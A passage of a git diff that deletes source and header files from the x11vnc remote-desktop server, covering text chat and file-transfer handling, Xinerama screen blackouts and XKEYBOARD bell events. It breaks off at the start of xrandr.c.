- set_dpms_mode("off");
- force_dpms = 1;
- }
-
- process_remote_cmd("cmd=grabkbd", 0);
- process_remote_cmd("cmd=grabptr", 0);
-
- } else {
- process_remote_cmd("cmd=nograbkbd", 0);
- process_remote_cmd("cmd=nograbptr", 0);
-
- if (!no_ultra_dpms) {
- force_dpms = 0;
- }
- }
-#endif
-}
-
-static int wsock_timeout_sock = -1;
-
-static void wsock_timeout (int sig) {
- rfbLog("sig: %d, wsock_timeout.\n", sig);
- if (wsock_timeout_sock >= 0) {
- close(wsock_timeout_sock);
- wsock_timeout_sock = -1;
- }
-}
-
-static void try_local_chat_window(void) {
- int i, port, lsock;
- char cmd[100];
- struct sockaddr_in addr;
- pid_t pid = -1;
-#ifdef __hpux
- int addrlen = sizeof(addr);
-#else
- socklen_t addrlen = sizeof(addr);
-#endif
-
- for (i = 0; i < 90; i++) {
- /* find an open port */
- port = 7300 + i;
- /* XXX ::1 fallback */
- lsock = listen_tcp(port, htonl(INADDR_LOOPBACK), 0);
- if (lsock >= 0) {
- break;
- }
- port = 0;
- }
-
- if (port == 0) {
- return;
- }
-
- /* have ssvncvncviewer connect back to us (n.b. sockpair fails) */
-
- sprintf(cmd, "ssvnc -cmd VNC://localhost:%d -chatonly", port);
-
-#if LIBVNCSERVER_HAVE_FORK
- pid = fork();
-#endif
-
- if (pid == -1) {
- perror("fork");
- return;
- } else if (pid == 0) {
- char *args[4];
- int d;
- args[0] = "/bin/sh";
- args[1] = "-c";
- /* "ssvnc -cmd VNC://fd=0 -chatonly"; not working */
- args[2] = cmd;
- args[3] = NULL;
-
- set_env("VNCVIEWER_PASSWORD", "moo");
-#if !NO_X11
- if (dpy != NULL) {
- set_env("DISPLAY", DisplayString(dpy));
- }
-#endif
- for (d = 3; d < 256; d++) {
- close(d);
- }
-
- execvp(args[0], args);
- perror("exec");
- exit(1);
- } else {
- int i, sock = -1;
- rfbNewClientHookPtr new_save;
-
- signal(SIGALRM, wsock_timeout);
- wsock_timeout_sock = lsock;
-
- alarm(10);
- sock = accept(lsock, (struct sockaddr *)&addr, &addrlen);
- alarm(0);
-
- signal(SIGALRM, SIG_DFL);
- close(lsock);
-
- if (sock < 0) {
- return;
- }
-
- /* mutex */
- new_save = screen->newClientHook;
- screen->newClientHook = new_client_chat_helper;
-
- chat_window_client = create_new_client(sock, 1);
-
- screen->newClientHook = new_save;
-
- if (chat_window_client != NULL) {
- rfbPasswordCheckProcPtr pwchk_save = screen->passwordCheck;
- rfbBool save_shared1 = screen->alwaysShared;
- rfbBool save_shared2 = screen->neverShared;
-
- screen->alwaysShared = TRUE;
- screen->neverShared = FALSE;
-
- screen->passwordCheck = password_check_chat_helper;
- for (i=0; i<30; i++) {
- rfbPE(-1);
- if (!chat_window_client) {
- break;
- }
- if (chat_window_client->state == RFB_NORMAL) {
- break;
- }
- }
-
- screen->passwordCheck = pwchk_save;
- screen->alwaysShared = save_shared1;
- screen->neverShared = save_shared2;
- }
- }
-}
-
-void set_text_chat(rfbClientPtr cl, int len, char *txt) {
- int dochat = 1;
- rfbClientIteratorPtr iter;
- rfbClientPtr cl2;
- unsigned int ulen = (unsigned int) len;
-
- if (no_ultra_ext || ! dochat) {
- return;
- }
-
- if (unixpw_in_progress) {
- rfbLog("set_text_chat: unixpw_in_progress, dropping client.\n");
- rfbCloseClient(cl);
- return;
- }
-#if LIBVNCSERVER_HAS_TEXTCHAT
-
- if (chat_window && chat_window_client == NULL && ulen == rfbTextChatOpen) {
- try_local_chat_window();
- }
-
- saw_ultra_chat = 1;
-
- iter = rfbGetClientIterator(screen);
- while( (cl2 = rfbClientIteratorNext(iter)) ) {
- unsigned int ulen = (unsigned int) len;
- if (cl2 == cl) {
- continue;
- }
- if (cl2->state != RFB_NORMAL) {
- continue;
- }
-
- SEND_LOCK(cl2);
-
- if (ulen == rfbTextChatOpen) {
- rfbSendTextChatMessage(cl2, rfbTextChatOpen, "");
- } else if (ulen == rfbTextChatClose) {
- rfbSendTextChatMessage(cl2, rfbTextChatClose, "");
- /* not clear what is going on WRT close and finished... */
- rfbSendTextChatMessage(cl2, rfbTextChatFinished, "");
- } else if (ulen == rfbTextChatFinished) {
- rfbSendTextChatMessage(cl2, rfbTextChatFinished, "");
- } else if (len <= rfbTextMaxSize) {
- rfbSendTextChatMessage(cl2, len, txt);
- }
-
- SEND_UNLOCK(cl2);
- }
- rfbReleaseClientIterator(iter);
-
- if (ulen == rfbTextChatClose && cl != NULL) {
- /* not clear what is going on WRT close and finished... */
- SEND_LOCK(cl);
- rfbSendTextChatMessage(cl, rfbTextChatFinished, "");
- SEND_UNLOCK(cl);
- }
-#endif
-}
-
-int get_keyboard_led_state_hook(rfbScreenInfoPtr s) {
- if (s) {}
- if (unixpw_in_progress) {
- rfbLog("get_keyboard_led_state_hook: unixpw_in_progress, skipping.\n");
- return 0;
- }
- return 0;
-}
-int get_file_transfer_permitted(rfbClientPtr cl) {
- allowed_input_t input;
- if (unixpw_in_progress) {
- rfbLog("get_file_transfer_permitted: unixpw_in_progress, dropping client.\n");
- rfbCloseClient(cl);
- return FALSE;
- }
-if (0) fprintf(stderr, "get_file_transfer_permitted called\n");
- if (view_only) {
- return FALSE;
- }
- if (cl->viewOnly) {
- return FALSE;
- }
- get_allowed_input(cl, &input);
- if (!input.files) {
- return FALSE;
- }
- if (screen->permitFileTransfer) {
- saw_ultra_file = 1;
- }
- return screen->permitFileTransfer;
-}
-
-
diff --git a/x11vnc/xevents.h b/x11vnc/xevents.h
deleted file mode 100644
index 5b8bdce..0000000
--- a/x11vnc/xevents.h
+++ /dev/null
@@ -1,67 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_XEVENTS_H
-#define _X11VNC_XEVENTS_H
-
-/* -- xevents.h -- */
-
-extern int grab_buster;
-extern int grab_kbd;
-extern int grab_ptr;
-extern int grab_always;
-extern int ungrab_both;
-extern int grab_local;
-extern int sync_tod_delay;
-
-extern void initialize_vnc_connect_prop(void);
-extern void initialize_x11vnc_remote_prop(void);
-extern void initialize_clipboard_atom(void);
-extern void spawn_grab_buster(void);
-extern void sync_tod_with_servertime(void);
-extern void check_keycode_state(void);
-extern void check_autorepeat(void);
-extern void set_prop_atom(Atom atom);
-extern void check_xevents(int reset);
-extern void xcut_receive(char *text, int len, rfbClientPtr cl);
-
-extern void kbd_release_all_keys(rfbClientPtr cl);
-extern void set_single_window(rfbClientPtr cl, int x, int y);
-extern void set_server_input(rfbClientPtr cl, int s);
-extern void set_text_chat(rfbClientPtr cl, int l, char *t);
-extern int get_keyboard_led_state_hook(rfbScreenInfoPtr s);
-extern int get_file_transfer_permitted(rfbClientPtr cl);
-extern void get_prop(char *str, int len, Atom prop, Window w);
-extern int guess_dm_gone(int t1, int t2);
-
-
-#endif /* _X11VNC_XEVENTS_H */
diff --git a/x11vnc/xinerama.c b/x11vnc/xinerama.c
deleted file mode 100644
index 001e2ca..0000000
--- a/x11vnc/xinerama.c
+++ /dev/null
@@ -1,556 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- xinerama.c -- */
-
-#include "x11vnc.h"
-#include "xwrappers.h"
-#include "blackout_t.h"
-#include "scan.h"
-
-/*
- * routines related to xinerama and blacking out rectangles
- */
-
-/* blacked-out region (-blackout, -xinerama) */
-
-#define BLACKR_MAX 100
-blackout_t blackr[BLACKR_MAX]; /* hardwired max blackouts */
-tile_blackout_t *tile_blackout;
-int blackouts = 0;
-
-void initialize_blackouts_and_xinerama(void);
-void push_sleep(int n);
-void push_black_screen(int n);
-void refresh_screen(int push);
-void zero_fb(int x1, int y1, int x2, int y2);
-
-
-static void initialize_blackouts(char *list);
-static void blackout_tiles(void);
-static void initialize_xinerama (void);
-
-
-/*
- * Take a comma separated list of geometries: WxH+X+Y and register them as
- * rectangles to black out from the screen.
- */
-static void initialize_blackouts(char *list) {
- char *p, *blist = strdup(list);
- int x, y, X, Y, h, w, t;
-
- p = strtok(blist, ", \t");
- while (p) {
- if (!strcmp("noptr", p)) {
- blackout_ptr = 1;
- rfbLog("pointer will be blocked from blackout "
- "regions\n");
- p = strtok(NULL, ", \t");
- continue;
- }
- if (! parse_geom(p, &w, &h, &x, &y, dpy_x, dpy_y)) {
- if (*p != '\0') {
- rfbLog("skipping invalid geometry: %s\n", p);
- }
- p = strtok(NULL, ", \t");
- continue;
- }
- w = nabs(w);
- h = nabs(h);
- x = nfix(x, dpy_x);
- y = nfix(y, dpy_y);
- X = x + w;
- Y = y + h;
- X = nfix(X, dpy_x+1);
- Y = nfix(Y, dpy_y+1);
- if (x > X) {
- t = X; X = x; x = t;
- }
- if (y > Y) {
- t = Y; Y = y; y = t;
- }
- if (x < 0 || x > dpy_x || y < 0 || y > dpy_y ||
- X < 0 || X > dpy_x || Y < 0 || Y > dpy_y ||
- x == X || y == Y) {
- rfbLog("skipping invalid blackout geometry: %s x="
- "%d-%d,y=%d-%d,w=%d,h=%d\n", p, x, X, y, Y, w, h);
- } else {
- rfbLog("blackout rect: %s: x=%d-%d y=%d-%d\n", p,
- x, X, y, Y);
-
- /*
- * note that the black out is x1 <= x but x < x2
- * for the region. i.e. the x2, y2 are outside
- * by 1 pixel.
- */
- blackr[blackouts].x1 = x;
- blackr[blackouts].y1 = y;
- blackr[blackouts].x2 = X;
- blackr[blackouts].y2 = Y;
- blackouts++;
- if (blackouts >= BLACKR_MAX) {
- rfbLog("too many blackouts: %d\n", blackouts);
- break;
- }
- }
- p = strtok(NULL, ", \t");
- }
- free(blist);
-}
-
-/*
- * Now that all blackout rectangles have been constructed, see what overlap
- * they have with the tiles in the system. If a tile is touched by a
- * blackout, record information.
- */
-static void blackout_tiles(void) {
- int tx, ty;
- int debug_bo = 0;
- if (! blackouts) {
- return;
- }
- if (getenv("DEBUG_BLACKOUT") != NULL) {
- debug_bo = 1;
- }
-
- /*
- * to simplify things drop down to single copy mode, etc...
- */
- single_copytile = 1;
- /* loop over all tiles. */
- for (ty=0; ty < ntiles_y; ty++) {
- for (tx=0; tx < ntiles_x; tx++) {
- sraRegionPtr tile_reg, black_reg;
- sraRect rect;
- sraRectangleIterator *iter;
- int n, b, x1, y1, x2, y2, cnt;
-
- /* tile number and coordinates: */
- n = tx + ty * ntiles_x;
- x1 = tx * tile_x;
- y1 = ty * tile_y;
- x2 = x1 + tile_x;
- y2 = y1 + tile_y;
- if (x2 > dpy_x) {
- x2 = dpy_x;
- }
- if (y2 > dpy_y) {
- y2 = dpy_y;
- }
-
- /* make regions for the tile and the blackouts: */
- black_reg = (sraRegionPtr) sraRgnCreate();
- tile_reg = (sraRegionPtr) sraRgnCreateRect(x1, y1,
- x2, y2);
-
- tile_blackout[n].cover = 0;
- tile_blackout[n].count = 0;
-
- /* union of blackouts */
- for (b=0; b < blackouts; b++) {
- sraRegionPtr tmp_reg = (sraRegionPtr)
- sraRgnCreateRect(blackr[b].x1,
- blackr[b].y1, blackr[b].x2, blackr[b].y2);
-
- sraRgnOr(black_reg, tmp_reg);
- sraRgnDestroy(tmp_reg);
- }
-
- if (! sraRgnAnd(black_reg, tile_reg)) {
- /*
- * no intersection for this tile, so we
- * are done.
- */
- sraRgnDestroy(black_reg);
- sraRgnDestroy(tile_reg);
- continue;
- }
-
- /*
- * loop over rectangles that make up the blackout
- * region:
- */
- cnt = 0;
- iter = sraRgnGetIterator(black_reg);
- while (sraRgnIteratorNext(iter, &rect)) {
-
- /* make sure x1 < x2 and y1 < y2 */
- if (rect.x1 > rect.x2) {
- int tmp = rect.x2;
- rect.x2 = rect.x1;
- rect.x1 = tmp;
- }
- if (rect.y1 > rect.y2) {
- int tmp = rect.y2;
- rect.y2 = rect.y1;
- rect.y1 = tmp;
- }
-
- /* store coordinates */
- tile_blackout[n].bo[cnt].x1 = rect.x1;
- tile_blackout[n].bo[cnt].y1 = rect.y1;
- tile_blackout[n].bo[cnt].x2 = rect.x2;
- tile_blackout[n].bo[cnt].y2 = rect.y2;
-
- /* note if the tile is completely obscured */
- if (rect.x1 == x1 && rect.y1 == y1 &&
- rect.x2 == x2 && rect.y2 == y2) {
- tile_blackout[n].cover = 2;
- if (debug_bo) {
- fprintf(stderr, "full: %d=%d,%d"
- " (%d-%d) (%d-%d)\n",
- n, tx, ty, x1, x2, y1, y2);
- }
- } else {
- tile_blackout[n].cover = 1;
- if (debug_bo) {
- fprintf(stderr, "part: %d=%d,%d"
- " (%d-%d) (%d-%d)\n",
- n, tx, ty, x1, x2, y1, y2);
- }
- }
-
- if (++cnt >= BO_MAX) {
- rfbLog("too many blackout rectangles "
- "for tile %d=%d,%d.\n", n, tx, ty);
- break;
- }
- }
- sraRgnReleaseIterator(iter);
-
- sraRgnDestroy(black_reg);
- sraRgnDestroy(tile_reg);
-
- tile_blackout[n].count = cnt;
- if (debug_bo && cnt > 1) {
- rfbLog("warning: multiple region overlaps[%d] "
- "for tile %d=%d,%d.\n", cnt, n, tx, ty);
- }
- }
- }
-}
-
-static int did_xinerama_clip = 0;
-
-void check_xinerama_clip(void) {
-#if LIBVNCSERVER_HAVE_LIBXINERAMA
- int n, k, i, ev, er, juse = -1;
- int score[32], is = 0;
- XineramaScreenInfo *x;
-
- if (!clip_str || !dpy) {
- return;
- }
- if (sscanf(clip_str, "xinerama%d", &k) == 1) {
- ;
- } else if (sscanf(clip_str, "screen%d", &k) == 1) {
- ;
- } else {
- return;
- }
-
- free(clip_str);
- clip_str = NULL;
-
- if (! XineramaQueryExtension(dpy, &ev, &er)) {
- return;
- }
- if (! XineramaIsActive(dpy)) {
- return;
- }
- x = XineramaQueryScreens(dpy, &n);
- if (k < 0 || k >= n) {
- XFree_wr(x);
- return;
- }
- for (i=0; i < n; i++) {
- score[is++] = nabs(x[i].x_org) + nabs(x[i].y_org);
- if (is >= 32) {
- break;
- }
- }
- for (i=0; i <= k; i++) {
- int j, jmon = 0, mon = -1, mox = -1;
- for (j=0; j < is; j++) {
- if (mon < 0 || score[j] < mon) {
- mon = score[j];
- jmon = j;
- }
- if (mox < 0 || score[j] > mox) {
- mox = score[j];
- }
- }
- juse = jmon;
- score[juse] = mox+1+i;
- }
-
- if (juse >= 0 && juse < n) {
- char str[64];
- sprintf(str, "%dx%d+%d+%d", x[juse].width, x[juse].height,
- x[juse].x_org, x[juse].y_org);
- clip_str = strdup(str);
- did_xinerama_clip = 1;
- } else {
- clip_str = strdup("");
- }
- XFree_wr(x);
- if (!quiet) {
- rfbLog("set -clip to '%s' for xinerama%d\n", clip_str, k);
- }
-#endif
-}
-
-static void initialize_xinerama (void) {
-#if !LIBVNCSERVER_HAVE_LIBXINERAMA
- if (!raw_fb_str) {
- rfbLog("Xinerama: Library libXinerama is not available to determine\n");
- rfbLog("Xinerama: the head geometries, consider using -blackout\n");
- rfbLog("Xinerama: if the screen is non-rectangular.\n");
- }
-#else
- XineramaScreenInfo *sc, *xineramas;
- sraRegionPtr black_region, tmp_region;
- sraRectangleIterator *iter;
- sraRect rect;
- char *bstr, *tstr;
- int ev, er, i, n, rcnt;
-
- RAWFB_RET_VOID
-
- X_LOCK;
- if (! XineramaQueryExtension(dpy, &ev, &er)) {
- if (verbose) {
- rfbLog("Xinerama: disabling: display does not support it.\n");
- }
- xinerama = 0;
- xinerama_present = 0;
- X_UNLOCK;
- return;
- }
- if (! XineramaIsActive(dpy)) {
- /* n.b. change to XineramaActive(dpy, window) someday */
- if (verbose) {
- rfbLog("Xinerama: disabling: not active on display.\n");
- }
- xinerama = 0;
- xinerama_present = 0;
- X_UNLOCK;
- return;
- }
- xinerama_present = 1;
- rfbLog("\n");
- rfbLog("Xinerama is present and active (e.g. multi-head).\n");
-
- /* n.b. change to XineramaGetData() someday */
- xineramas = XineramaQueryScreens(dpy, &n);
- rfbLog("Xinerama: number of sub-screens: %d\n", n);
-
- if (! use_xwarppointer && ! got_noxwarppointer && n > 1) {
- rfbLog("Xinerama: enabling -xwarppointer mode to try to correct\n");
- rfbLog("Xinerama: mouse pointer motion. XTEST+XINERAMA bug.\n");
- rfbLog("Xinerama: Use -noxwarppointer to force XTEST.\n");
- use_xwarppointer = 1;
- }
-
- if (n == 1) {
- rfbLog("Xinerama: no blackouts needed (only one sub-screen)\n");
- rfbLog("\n");
- XFree_wr(xineramas);
- X_UNLOCK;
- return; /* must be OK w/o change */
- }
-
- black_region = sraRgnCreateRect(0, 0, dpy_x, dpy_y);
-
- sc = xineramas;
- for (i=0; i<n; i++) {
- int x, y, w, h;
-
- x = sc->x_org;
- y = sc->y_org;
- w = sc->width;
- h = sc->height;
-
- rfbLog("Xinerama: sub-screen[%d] %dx%d+%d+%d\n", i, w, h, x, y);
-
- tmp_region = sraRgnCreateRect(x, y, x + w, y + h);
-
- sraRgnSubtract(black_region, tmp_region);
- sraRgnDestroy(tmp_region);
- sc++;
- }
- XFree_wr(xineramas);
- X_UNLOCK;
-
-
- if (sraRgnEmpty(black_region)) {
- rfbLog("Xinerama: no blackouts needed (screen fills"
- " rectangle)\n");
- rfbLog("\n");
- sraRgnDestroy(black_region);
- return;
- }
- if (did_xinerama_clip) {
- rfbLog("Xinerama: no blackouts due to -clip xinerama.\n");
- return;
- }
-
- /* max len is 10000x10000+10000+10000 (23 chars) per geometry */
- rcnt = (int) sraRgnCountRects(black_region);
- bstr = (char *) malloc(30 * (rcnt+1));
- tstr = (char *) malloc(30);
- bstr[0] = '\0';
-
- iter = sraRgnGetIterator(black_region);
- while (sraRgnIteratorNext(iter, &rect)) {
- int x, y, w, h;
-
- /* make sure x1 < x2 and y1 < y2 */
- if (rect.x1 > rect.x2) {
- int tmp = rect.x2;
- rect.x2 = rect.x1;
- rect.x1 = tmp;
- }
- if (rect.y1 > rect.y2) {
- int tmp = rect.y2;
- rect.y2 = rect.y1;
- rect.y1 = tmp;
- }
- x = rect.x1;
- y = rect.y1;
- w = rect.x2 - x;
- h = rect.y2 - y;
- sprintf(tstr, "%dx%d+%d+%d,", w, h, x, y);
- strcat(bstr, tstr);
- }
- sraRgnReleaseIterator(iter);
- initialize_blackouts(bstr);
- rfbLog("\n");
-
- free(bstr);
- free(tstr);
-#endif
-}
-
-void initialize_blackouts_and_xinerama(void) {
-
- blackouts = 0;
- blackout_ptr = 0;
-
- if (blackout_str != NULL) {
- initialize_blackouts(blackout_str);
- }
- if (xinerama) {
- initialize_xinerama();
- }
- if (blackouts) {
- blackout_tiles();
- /* schedule a copy_screen(), now is too early. */
- do_copy_screen = 1;
- }
-}
-
-void push_sleep(int n) {
- int i;
- for (i=0; i<n; i++) {
- rfbPE(-1);
- if (i != n-1 && defer_update) {
- usleep(defer_update * 1000);
- }
- }
-}
-
-/*
- * try to forcefully push a black screen to all connected clients
- */
-void push_black_screen(int n) {
- int Lx = dpy_x, Ly = dpy_y;
- if (!screen) {
- return;
- }
-#ifndef NO_NCACHE
- if (ncache > 0) {
- Ly = dpy_y * (1+ncache);
- }
-#endif
- zero_fb(0, 0, Lx, Ly);
- mark_rect_as_modified(0, 0, Lx, Ly, 0);
- push_sleep(n);
-}
-
-void refresh_screen(int push) {
- int i;
- if (!screen) {
- return;
- }
- mark_rect_as_modified(0, 0, dpy_x, dpy_y, 0);
- for (i=0; i<push; i++) {
- rfbPE(-1);
- }
-}
-
-/*
- * Fill the framebuffer with zero for the prescribed rectangle
- */
-void zero_fb(int x1, int y1, int x2, int y2) {
- int pixelsize = bpp/8;
- int line, fill = 0, yfac = 1;
- char *dst;
-
-#ifndef NO_NCACHE
- if (ncache > 0) {
- yfac = 1+ncache;
- if (ncache_xrootpmap) {
- yfac++;
- }
- }
-#endif
-
- if (x1 < 0 || x2 <= x1 || x2 > dpy_x) {
- return;
- }
- if (y1 < 0 || y2 <= y1 || y2 > yfac * dpy_y) {
- return;
- }
- if (! main_fb) {
- return;
- }
-
- dst = main_fb + y1 * main_bytes_per_line + x1 * pixelsize;
- line = y1;
- while (line++ < y2) {
- memset(dst, fill, (size_t) (x2 - x1) * pixelsize);
- dst += main_bytes_per_line;
- }
-}
-
-
diff --git a/x11vnc/xinerama.h b/x11vnc/xinerama.h
deleted file mode 100644
index 6fd00cf..0000000
--- a/x11vnc/xinerama.h
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_XINERAMA_H
-#define _X11VNC_XINERAMA_H
-
-/* -- xinerama.h -- */
-#include "blackout_t.h"
-
-extern blackout_t blackr[];
-extern tile_blackout_t *tile_blackout;
-extern int blackouts;
-
-extern void initialize_blackouts_and_xinerama(void);
-extern void push_sleep(int n);
-extern void push_black_screen(int n);
-extern void refresh_screen(int push);
-extern void zero_fb(int x1, int y1, int x2, int y2);
-extern void check_xinerama_clip(void);
-
-#endif /* _X11VNC_XINERAMA_H */
diff --git a/x11vnc/xkb_bell.c b/x11vnc/xkb_bell.c
deleted file mode 100644
index 71563d6..0000000
--- a/x11vnc/xkb_bell.c
+++ /dev/null
@@ -1,167 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- xkb_bell.c -- */
-
-#include "x11vnc.h"
-#include "xwrappers.h"
-#include "connections.h"
-
-/*
- * Bell event handling. Requires XKEYBOARD extension.
- */
-int xkb_base_event_type = 0;
-
-void initialize_xkb(void);
-void initialize_watch_bell(void);
-void check_bell_event(void);
-
-
-#if LIBVNCSERVER_HAVE_XKEYBOARD
-
-/*
- * check for XKEYBOARD, set up xkb_base_event_type
- */
-void initialize_xkb(void) {
- int ir, reason;
- int op, ev, er, maj, min;
-
- RAWFB_RET_VOID
-
- if (xkbcompat) {
- xkb_present = 0;
- } else if (! XkbQueryExtension(dpy, &op, &ev, &er, &maj, &min)) {
- if (! quiet) {
- rfbLog("warning: XKEYBOARD extension not present.\n");
- }
- xkb_present = 0;
- } else {
- xkb_present = 1;
- }
-
- if (! xkb_present) {
- return;
- }
-
- if (! xauth_raw(1)) {
- return;
- }
-
- if (! XkbOpenDisplay(DisplayString(dpy), &xkb_base_event_type, &ir,
- NULL, NULL, &reason) ) {
- if (! quiet) {
- rfbLog("warning: disabling XKEYBOARD. XkbOpenDisplay"
- " failed.\n");
- }
- xkb_base_event_type = 0;
- xkb_present = 0;
- }
- xauth_raw(0);
-}
-
-void initialize_watch_bell(void) {
- if (! xkb_present) {
- if (! quiet) {
- rfbLog("warning: disabling bell. XKEYBOARD ext. "
- "not present.\n");
- }
- watch_bell = 0;
- sound_bell = 0;
- return;
- }
-
- RAWFB_RET_VOID
-
- XkbSelectEvents(dpy, XkbUseCoreKbd, XkbBellNotifyMask, 0);
-
- if (! watch_bell) {
- return;
- }
- if (! XkbSelectEvents(dpy, XkbUseCoreKbd, XkbBellNotifyMask,
- XkbBellNotifyMask) ) {
- if (! quiet) {
- rfbLog("warning: disabling bell. XkbSelectEvents"
- " failed.\n");
- }
- watch_bell = 0;
- sound_bell = 0;
- }
-}
-
-/*
- * We call this periodically to process any bell events that have
- * taken place.
- */
-void check_bell_event(void) {
- XEvent xev;
- XkbAnyEvent *xkb_ev;
- int got_bell = 0;
-
- if (! xkb_base_event_type) {
- return;
- }
- RAWFB_RET_VOID
-
- /* caller does X_LOCK */
- if (! XCheckTypedEvent(dpy, xkb_base_event_type, &xev)) {
- return;
- }
- if (! watch_bell) {
- /* we return here to avoid xkb events piling up */
- return;
- }
-
- xkb_ev = (XkbAnyEvent *) &xev;
- if (xkb_ev->xkb_type == XkbBellNotify) {
- got_bell = 1;
- }
-
- if (got_bell && sound_bell) {
- if (! all_clients_initialized()) {
- rfbLog("check_bell_event: not sending bell: "
- "uninitialized clients\n");
- } else {
- if (screen && client_count) {
- rfbSendBell(screen);
- }
- }
- }
-}
-#else
-void initialize_watch_bell(void) {
- watch_bell = 0;
- sound_bell = 0;
-}
-void check_bell_event(void) {}
-#endif
-
-
diff --git a/x11vnc/xkb_bell.h b/x11vnc/xkb_bell.h
deleted file mode 100644
index 16762e7..0000000
--- a/x11vnc/xkb_bell.h
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_XKB_BELL_H
-#define _X11VNC_XKB_BELL_H
-
-/* -- xkb_bell.h -- */
-
-extern int xkb_base_event_type;
-
-extern void initialize_xkb(void);
-extern void initialize_watch_bell(void);
-extern void check_bell_event(void);
-
-#endif /* _X11VNC_XKB_BELL_H */
diff --git a/x11vnc/xrandr.c b/x11vnc/xrandr.c
deleted file mode 100644
index d0d68e1..0000000
--- a/x11vnc/xrandr.c
+++ /dev/null
@@ -1,306 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
